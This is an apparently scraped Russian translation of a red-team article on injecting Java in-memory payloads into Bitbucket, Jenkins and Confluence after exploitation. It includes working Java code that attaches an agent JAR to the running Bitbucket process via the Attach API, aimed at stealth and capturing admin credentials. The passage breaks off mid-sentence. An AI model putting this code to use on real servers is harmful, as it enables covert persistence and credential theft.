{"id":428059,"date":"2024-08-02T03:00:04","date_gmt":"2024-08-02T03:00:04","guid":{"rendered":"http:\/\/savepearlharbor.com\/?p=428059"},"modified":"-0001-11-30T00:00:00","modified_gmt":"-0001-11-29T21:00:00","slug":"","status":"publish","type":"post","link":"https:\/\/savepearlharbor.com\/?p=428059","title":{"rendered":"<span>\u041f\u0435\u0440\u0435\u0432\u043e\u0434 \u0441\u0442\u0430\u0442\u044c\u0438 \u00abInjecting Java in-memory payloads for post-exploitation\u00bb<\/span>"},"content":{"rendered":"<div><!--[--><!--]--><\/div>\n<div id=\"post-content-body\">\n<div>\n<div class=\"article-formatted-body article-formatted-body article-formatted-body_version-2\">\n<div xmlns=\"http:\/\/www.w3.org\/1999\/xhtml\">\n<p>\u0412 \u043c\u0430\u0440\u0442\u0435 <a href=\"https:\/\/www.synacktiv.com\/index\" rel=\"noopener noreferrer nofollow\">Synacktiv <\/a>\u043e\u043f\u0438\u0441\u0430\u043b\u0438 <a href=\"https:\/\/www.synacktiv.com\/publications\/java-deserialization-tricks\" rel=\"noopener noreferrer nofollow\">\u0441\u043f\u043e\u0441\u043e\u0431\u044b <\/a>\u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u043d\u0435\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0439 \u0434\u0435\u0441\u0435\u0440\u0438\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u0432 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f\u0445, \u043d\u0430\u043f\u0438\u0441\u0430\u043d\u043d\u044b\u0445 \u043d\u0430 Java. \u041f\u043e\u0437\u0436\u0435, \u043a\u043e\u043c\u0430\u043d\u0434\u0430 \u043a\u0440\u0430\u0441\u043d\u044b\u0445 \u0430\u0432\u0442\u043e\u0440\u0430 \u0441\u0442\u043e\u043b\u043a\u043d\u0443\u043b\u0430\u0441\u044c \u0441 Java-\u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f\u043c\u0438, \u0432 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0431\u044b\u043b\u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u044b \u0434\u0440\u0443\u0433\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u043f\u0440\u0438\u0432\u043e\u0434\u044f\u0449\u0438\u0435 \u043a \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044e \u043a\u043e\u0434\u0430. \u0410 \u0443\u0436\u0435 \u0432 \u044d\u0442\u043e\u0439 <a href=\"https:\/\/www.synacktiv.com\/publications\/injecting-java-in-memory-payloads-for-post-exploitation\" rel=\"noopener noreferrer nofollow\">\u0441\u0442\u0430\u0442\u044c\u0435 <\/a>\u0430\u0432\u0442\u043e\u0440 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u0438\u043b \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043f\u0440\u0438\u0435\u043c\u043e\u0432, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0438\u0441\u044c \u0434\u043b\u044f \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044f \u043f\u043e\u043b\u0435\u0437\u043d\u043e\u0439 \u043d\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u0432 \u043f\u0430\u043c\u044f\u0442\u044c \u043d\u0430 \u043f\u0440\u0438\u043c\u0435\u0440\u0435 \u0448\u0438\u0440\u043e\u043a\u043e \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u0445 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0439.<\/p>\n<p>\u041d\u0443 \u0430 \u043c\u044b, \u0430\u0432\u0442\u043e\u0440\u044b telegram-\u043a\u0430\u043d\u0430\u043b\u0430 <a href=\"https:\/\/t.me\/authoritywear\" rel=\"noopener noreferrer nofollow\">AUTHORITY<\/a>, \u043f\u0435\u0440\u0435\u0432\u0435\u043b\u0438 \u044d\u0442\u0443 \u0441\u0442\u0430\u0442\u044c\u044e \u043d\u0430 \u0440\u0443\u0441\u0441\u043a\u0438\u0439.<\/p>\n<h2>\u0412\u0432\u0435\u0434\u0435\u043d\u0438\u0435<\/h2>\n<p>\u041b\u043e\u0433\u0438\u043a\u0430, \u0443\u043f\u043e\u043c\u044f\u043d\u0443\u0442\u0430\u044f \u0432 \u043f\u0440\u0435\u0434\u044b\u0434\u0443\u0449\u0435\u043c <a href=\"https:\/\/www.synacktiv.com\/publications\/java-deserialization-tricks\" rel=\"noopener noreferrer nofollow\">\u043f\u043e\u0441\u0442\u0435 <\/a>\u0430\u0432\u0442\u043e\u0440\u0430, \u043e\u0440\u0438\u0435\u043d\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0430 \u043d\u0430 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f, \u043f\u043e\u0434\u0432\u0435\u0440\u0436\u0435\u043d\u043d\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u043c \u0434\u0435\u0441\u0435\u0440\u0438\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u0438 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0430\u0434\u0430\u043f\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0430 \u0434\u043b\u044f \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044f \u0432 \u043f\u0430\u043c\u044f\u0442\u044c \u043f\u043e\u043b\u0435\u0437\u043d\u043e\u0439 \u043d\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u0432\u0441\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u0435 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0442\u0438\u043f\u0430 SSTI, Command injection \u0438 \u0441\u043a\u0440\u0438\u043f\u0442\u043e\u0432\u044b\u0445 \u0434\u0432\u0438\u0436\u043a\u043e\u0432.<\/p>\n<p>\u0412 \u0441\u0442\u0430\u0442\u044c\u0435 \u0440\u0430\u0441\u0441\u043c\u043e\u0442\u0440\u0435\u043d\u044b \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0441\u043e\u0432\u0435\u0442\u044b \u0438 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0438 \u043f\u043e \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0435 \u0438 \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u0438 \u043f\u043e\u043b\u0435\u0437\u043d\u043e\u0439 \u043d\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u0434\u043b\u044f \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u044f \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0439, \u0447\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442 \u043e\u0441\u0442\u0430\u0432\u0430\u0442\u044c\u0441\u044f \u043d\u0435\u0432\u0438\u0434\u0438\u043c\u044b\u043c \u043f\u0440\u0438 \u043f\u043e\u0441\u0442-\u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0438\u043b\u0438 \u043f\u0435\u0440\u0435\u0445\u0432\u0430\u0442\u044b\u0432\u0430\u0442\u044c \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0439. \u0410\u0432\u0442\u043e\u0440 \u0441\u043e\u0441\u0440\u0435\u0434\u043e\u0442\u043e\u0447\u0438\u043b\u0441\u044f \u043d\u0430 \u0432\u0435\u0431-\u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f\u0445 \u0438 \u0440\u0430\u0441\u0441\u043c\u043e\u0442\u0440\u0435\u043b \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0435 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u044b:<\/p>\n<ul>\n<li>\n<p>BitBucket Data Center (Command Injection)<\/p>\n<\/li>\n<li>\n<p>Jenkins (\u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f Groovy console)<\/p>\n<\/li>\n<li>\n<p>Confluence Data Center (SSTI)<\/p>\n<\/li>\n<\/ul>\n<h2>\u0417\u0430\u0433\u0440\u0443\u0437\u043a\u0430 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e command injection<\/h2>\n<p>\u0412 2022 \u0433\u043e\u0434\u0443 \u0431\u044b\u043b\u0430 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044f \u043a\u043e\u043c\u0430\u043d\u0434, \u043f\u043e\u043b\u0443\u0447\u0438\u0432\u0448\u0430\u044f \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440 CVE-2022-36804, \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0449\u0430\u044f \u0446\u0435\u043d\u0442\u0440 Bitbucket Data Center. \u042d\u0442\u0443 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043c\u043e\u0436\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c, \u0432\u0432\u043e\u0434\u044f \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u0430\u0440\u0433\u0443\u043c\u0435\u043d\u0442\u044b \u0432 \u043a\u043e\u043c\u0430\u043d\u0434\u0443 git \u043f\u0440\u0438 \u044d\u043a\u0441\u043f\u043e\u0440\u0442\u0435 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f \u0432 \u0430\u0440\u0445\u0438\u0432. \u0415\u0441\u043b\u0438 \u0430\u043d\u043e\u043d\u0438\u043c\u043d\u044b\u043c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u0435\u043d \u0434\u043e\u0441\u0442\u0443\u043f \u043d\u0430 \u0447\u0442\u0435\u043d\u0438\u0435 \u043e\u0431\u0449\u0435\u0434\u043e\u0441\u0442\u0443\u043f\u043d\u043e\u0433\u043e \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f, \u044d\u0442\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0430 \u0431\u0435\u0437 \u043f\u0440\u0435\u0434\u0432\u0430\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0439 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438.<\/p>\n<p>\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0430 \u0434\u043b\u044f \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0430\u0446\u0438\u0438 \u0441\u0435\u0440\u0432\u0435\u0440\u0430, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u043e\u043c \u0440\u0430\u0437\u043c\u0435\u0449\u0435\u043d Bitbucket Data Center, \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043f\u0438\u0432\u043e\u0442\u0438\u043d\u0433\u0430 \u0432 \u0441\u0435\u0442\u0438. \u041e\u0434\u043d\u0430\u043a\u043e, \u0435\u0441\u043b\u0438 \u044d\u0442\u043e \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442 \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0430\u043c\u0438, \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u043e \u0441\u043d\u0430\u0447\u0430\u043b\u0430 \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0435\u0433\u043e \u0438 \u0440\u0430\u0437\u043c\u0435\u0449\u0435\u043d\u043d\u044b\u0435 \u0432 \u043d\u0435\u043c \u0440\u0435\u0441\u0443\u0440\u0441\u044b. \u0411\u043e\u043b\u0435\u0435 \u0442\u043e\u0433\u043e, \u0435\u0441\u043b\u0438 \u0438\u0441\u0445\u043e\u0434\u044f\u0449\u0438\u0439 \u0442\u0440\u0430\u0444\u0438\u043a \u0444\u0438\u043b\u044c\u0442\u0440\u0443\u0435\u0442\u0441\u044f \u0438 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u0442\u0441\u044f \u043e\u0442 \u0438\u043c\u0435\u043d\u0438 \u043d\u0435\u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f, \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0442\u0440\u0435\u0431\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u044d\u043a\u0441\u0444\u0438\u043b\u044c\u0442\u0440\u0430\u0446\u0438\u044f \u0434\u0430\u043d\u043d\u044b\u0445 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0441\u0430\u043c\u043e\u0433\u043e \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f.<\/p>\n<p>\u0421\u0430\u043c\u044b\u0439 \u043f\u0440\u043e\u0441\u0442\u043e\u0439 \u0441\u043f\u043e\u0441\u043e\u0431 \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0435\u0433\u043e \u2014 \u0432\u0437\u0430\u0438\u043c\u043e\u0434\u0435\u0439\u0441\u0442\u0432\u043e\u0432\u0430\u0442\u044c \u0441 \u0435\u0433\u043e \u0441\u0440\u0435\u0434\u043e\u0439 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0447\u0435\u0440\u0435\u0437 \u043a\u043e\u0434 Java. Bitbucket \u043f\u043e\u0434 \u043a\u0430\u043f\u043e\u0442\u043e\u043c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0435 \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u0438:<\/p>\n<ul>\n<li>\n<p>Embedded Tomcat \u0434\u043b\u044f \u0432\u0435\u0431-\u0441\u0435\u0440\u0432\u0435\u0440\u0430.<\/p>\n<\/li>\n<li>\n<p>\u0424\u0440\u0435\u0439\u043c\u0432\u043e\u0440\u043a Spring.<\/p>\n<\/li>\n<\/ul>\n<p>\u041e\u0431\u0440\u0430\u0442\u0438\u0442\u0435 \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435, \u0447\u0442\u043e \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0435 \u0441\u043e\u0432\u0435\u0442\u044b \u043f\u043e \u043f\u043e\u0441\u0442-\u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0431\u044b\u043b\u0438 \u043f\u0440\u043e\u0442\u0435\u0441\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u044b \u043d\u0430 Bitbucket Datacenter 7, \u043d\u043e \u0442\u0443 \u0436\u0435 \u043c\u0435\u0442\u043e\u0434\u043e\u043b\u043e\u0433\u0438\u044e \u043c\u043e\u0436\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0438 \u0434\u043b\u044f \u0434\u0440\u0443\u0433\u0438\u0445 \u0432\u0435\u0440\u0441\u0438\u0439 \u0438\u043b\u0438 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0439.<\/p>\n<pre><code>INFO  [main]  c.a.b.i.b.BitbucketServerApplication Starting BitbucketServerApplication v7.21.0 using Java 11.0.20.1 on b3cb508081b3 with PID 208 (\/opt\/atlassian\/bitbucket\/app\/WEB-INF\/classes started by bitbucket in \/var\/atlassian\/application-data\/bitbucket) INFO  [main]  c.a.b.i.b.BitbucketServerApplication No active profile set, falling back to default profiles: default INFO  [main]  c.a.b.i.boot.log.BuildInfoLogger Starting Bitbucket 7.21.0 (6dea001 built on Tue Mar 01 21:46:46 UTC 2022) INFO  [main]  c.a.b.i.boot.log.BuildInfoLogger JVM: Eclipse Adoptium OpenJDK 64-Bit Server VM 11.0.20.1+1 INFO  [main]  c.a.b.i.b.BitbucketServerApplication Started BitbucketServerApplication in 2.522 seconds (JVM running for 3.135) INFO  [spring-startup]  c.a.s.internal.home.HomeLockAcquirer Successfully acquired lock on home directory \/var\/atlassian\/application-data\/bitbucket [...]<\/code><\/pre>\n<p><strong>\u0412\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u0435 \u043f\u043e\u043b\u0435\u0437\u043d\u043e\u0439 \u043d\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u0432 \u043f\u0430\u043c\u044f\u0442\u044c<\/strong><\/p>\n<p>\u0424\u0443\u043d\u043a\u0446\u0438\u0438 \u043c\u043e\u0434\u0443\u043b\u044f <a href=\"https:\/\/docs.oracle.com\/javase%2F9%2Fdocs%2Fapi%2F%2F\/java\/lang\/instrument\/package-summary.html\" rel=\"noopener noreferrer nofollow\">java.instrument<\/a> JVM \u043f\u0440\u0435\u0434\u043b\u0430\u0433\u0430\u044e\u0442 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438 \u0434\u043b\u044f \u043e\u0442\u043b\u0430\u0434\u043a\u0438 \u0438\u043b\u0438 \u043f\u0440\u043e\u0444\u0438\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0439, \u0442\u0430\u043a\u0438\u0445 \u043a\u0430\u043a \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0430 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u0444\u0430\u0439\u043b\u0430 JAR \u0432\u043d\u0443\u0442\u0440\u044c \u0440\u0430\u0431\u043e\u0442\u0430\u044e\u0449\u0435\u0433\u043e \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 Java. <a href=\"https:\/\/docs.oracle.com\/en\/java\/javase\/11\/docs\/api\/jdk.attach\/com\/sun\/tools\/attach\/package-summary.html\" rel=\"noopener noreferrer nofollow\">Attach API<\/a> \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043f\u043e\u0434\u0446\u0435\u043f\u0438\u0442\u044c\u0441\u044f \u043a \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0443, \u0435\u0441\u043b\u0438 \u043e\u043d \u0437\u0430\u043f\u0443\u0449\u0435\u043d \u043e\u0442 \u0442\u043e\u0433\u043e \u0436\u0435 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u041e\u0421. \u041e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f \u0438 \u0440\u0438\u0441\u043a\u0438 Attach API \u043e\u043f\u0438\u0441\u0430\u043d\u044b \u0432 <a href=\"https:\/\/blog.frankel.ch\/jvm-security\/4\/\" rel=\"noopener noreferrer nofollow\">\u044d\u0442\u043e\u0439 <\/a>\u0441\u0442\u0430\u0442\u044c\u0435. \u0412 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u044b\u0445 \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0430\u0445 Bitbucket \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u043e\u0431\u0440\u0430\u0437\u0430 Docker \u0442\u0430\u043a\u0438\u0435 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f \u043d\u0435 \u043d\u0430\u0441\u0442\u0440\u0430\u0438\u0432\u0430\u044e\u0442\u0441\u044f.<\/p>\n<p>\u0427\u0442\u043e\u0431\u044b \u0437\u0430\u0441\u0442\u0430\u0432\u0438\u0442\u044c JVM \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u0442\u044c \u0430\u0433\u0435\u043d\u0442\u0430, \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u0441\u043e\u0437\u0434\u0430\u0442\u044c JAR-\u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435, \u043a\u043e\u0442\u043e\u0440\u043e\u0435 \u0431\u0443\u0434\u0435\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c\u0441\u044f \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044f \u043a\u043e\u043c\u0430\u043d\u0434. \u042d\u0442\u043e \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435 \u0434\u043e\u043b\u0436\u043d\u043e \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0438\u0442\u044c \u0434\u0432\u0435 \u0442\u043e\u0447\u043a\u0438 \u0432\u0445\u043e\u0434\u0430:<\/p>\n<ul>\n<li>\n<p>\u0421\u0442\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u043c\u0435\u0442\u043e\u0434 main, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0431\u0443\u0434\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c Attach API, \u0447\u0442\u043e\u0431\u044b \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u0430\u044f JVM \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u043b\u0430\u0441\u044c \u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u0430\u0433\u0435\u043d\u0442\u0430. \u041a\u043b\u0430\u0441\u0441, \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u044f\u044e\u0449\u0438\u0439 \u044d\u0442\u043e\u0442 \u043c\u0435\u0442\u043e\u0434 \u0434\u043e\u043b\u0436\u0435\u043d \u0431\u044b\u0442\u044c \u0443\u043a\u0430\u0437\u0430\u043d \u0432 Main-Class \u043c\u0430\u043d\u0438\u0444\u0435\u0441\u0442\u0430<\/p>\n<\/li>\n<li>\n<p>\u0421\u0442\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u043c\u0435\u0442\u043e\u0434 Agentmain, \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u0439, \u043a\u043e\u0433\u0434\u0430 \u0430\u0433\u0435\u043d\u0442 (\u0441\u0430\u043c\u043e \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435) \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u0435\u0442\u0441\u044f \u0432 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u044b\u0439 \u043f\u0440\u043e\u0446\u0435\u0441\u0441 Java. \u041a\u043b\u0430\u0441\u0441, \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u044f\u044e\u0449\u0438\u0439 \u044d\u0442\u043e\u0442 \u043c\u0435\u0442\u043e\u0434 \u0434\u043e\u043b\u0436\u0435\u043d \u0431\u044b\u0442\u044c \u0443\u043a\u0430\u0437\u0430\u043d \u0432 Agent-Class \u043c\u0430\u043d\u0438\u0444\u0435\u0441\u0442\u0430<\/p>\n<\/li>\n<\/ul>\n<p>\u0412 \u0441\u0442\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u043c \u043c\u0435\u0442\u043e\u0434\u0435 main, \u043c\u043e\u0436\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c Instrumentation API \u0434\u043b\u044f \u043f\u043e\u0438\u0441\u043a\u0430 \u043d\u0443\u0436\u043d\u043e\u0433\u043e Java-\u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e VirtualMachine::list \u0438 \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u0441\u0430\u043c\u043e\u0433\u043e \u0441\u0435\u0431\u044f \u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u0430\u0433\u0435\u043d\u0442\u0430 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e VirtualMachine.loadAgent \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c:<\/p>\n<pre><code class=\"java\">public class Main {   \/\/ looks up the current application's JAR path   private static String getCurrentJarPath() throws URISyntaxException {     return new File(Main.class.getProtectionDomain().getCodeSource()       .getLocation().toURI()).getAbsolutePath();   }    public static void main(String[] args) {     try {       String jarPath = getCurrentJarPath();       if (!jarPath.endsWith(\".jar\")) return;              Class vm = Class.forName(\"com.sun.tools.attach.VirtualMachine\");       Class vmDescriptor = Class.forName(\"com.sun.tools.attach.VirtualMachineDescriptor\");       List&lt;Object&gt; descriptors = (List&lt;Object&gt;) vm.getMethod(\"list\").invoke(null);       for (Object descriptor : descriptors) {         String pid = (String) vmDescriptor.getMethod(\"id\").invoke(descriptor);         String name = (String) vmDescriptor.getMethod(\"displayName\").invoke(descriptor);                  \/\/ filter process by its name \/ command line         if (!name.contains(\"com.atlassian.bitbucket.internal.launcher.BitbucketServerLauncher\"))           continue;                  Object vmObject = null;         try {           vmObject = vm.getMethod(\"attach\", String.class).invoke(null, pid);           if (vmObject != null)                vm.getMethod(\"loadAgent\", String.class).invoke(vmObject, jarPath);         } finally {           if (vmObject != null)              vm.getMethod(\"detach\").invoke(vmObject);         }       }     } catch (Exception e) {        e.printStackTrace();     }   } }<\/code><\/pre>\n<p>\u041e\u0434\u043d\u0430\u043a\u043e, \u043d\u0435\u0441\u043c\u043e\u0442\u0440\u044f \u043d\u0430 \u0442\u043e, \u0447\u0442\u043e \u044d\u0442\u043e\u0442 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c \u043f\u0440\u0438\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u0435\u0442 \u0432 JVM JRE, Attach API \u0438 \u043b\u043e\u0433\u0438\u043a\u0430, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u0430\u044f \u0434\u043b\u044f \u0441\u0432\u044f\u0437\u0438 \u0441 JVM (libattach), \u043c\u043e\u0433\u0443\u0442 \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u043e\u0432\u0430\u0442\u044c. \u041d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u0430\u0432\u0442\u043e\u0440\u044b \u0441\u0442\u043e\u043b\u043a\u043d\u0443\u043b\u0438\u0441\u044c \u0441 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u043e\u0439 Bitbucket \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c OpenJDK-8-JRE, \u0443 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u043d\u0435 \u0431\u044b\u043b\u043e \u0442\u0430\u043a\u043e\u0433\u043e API. \u0427\u0442\u043e\u0431\u044b \u044d\u0442\u043e \u0438\u0441\u043f\u0440\u0430\u0432\u0438\u0442\u044c, \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e 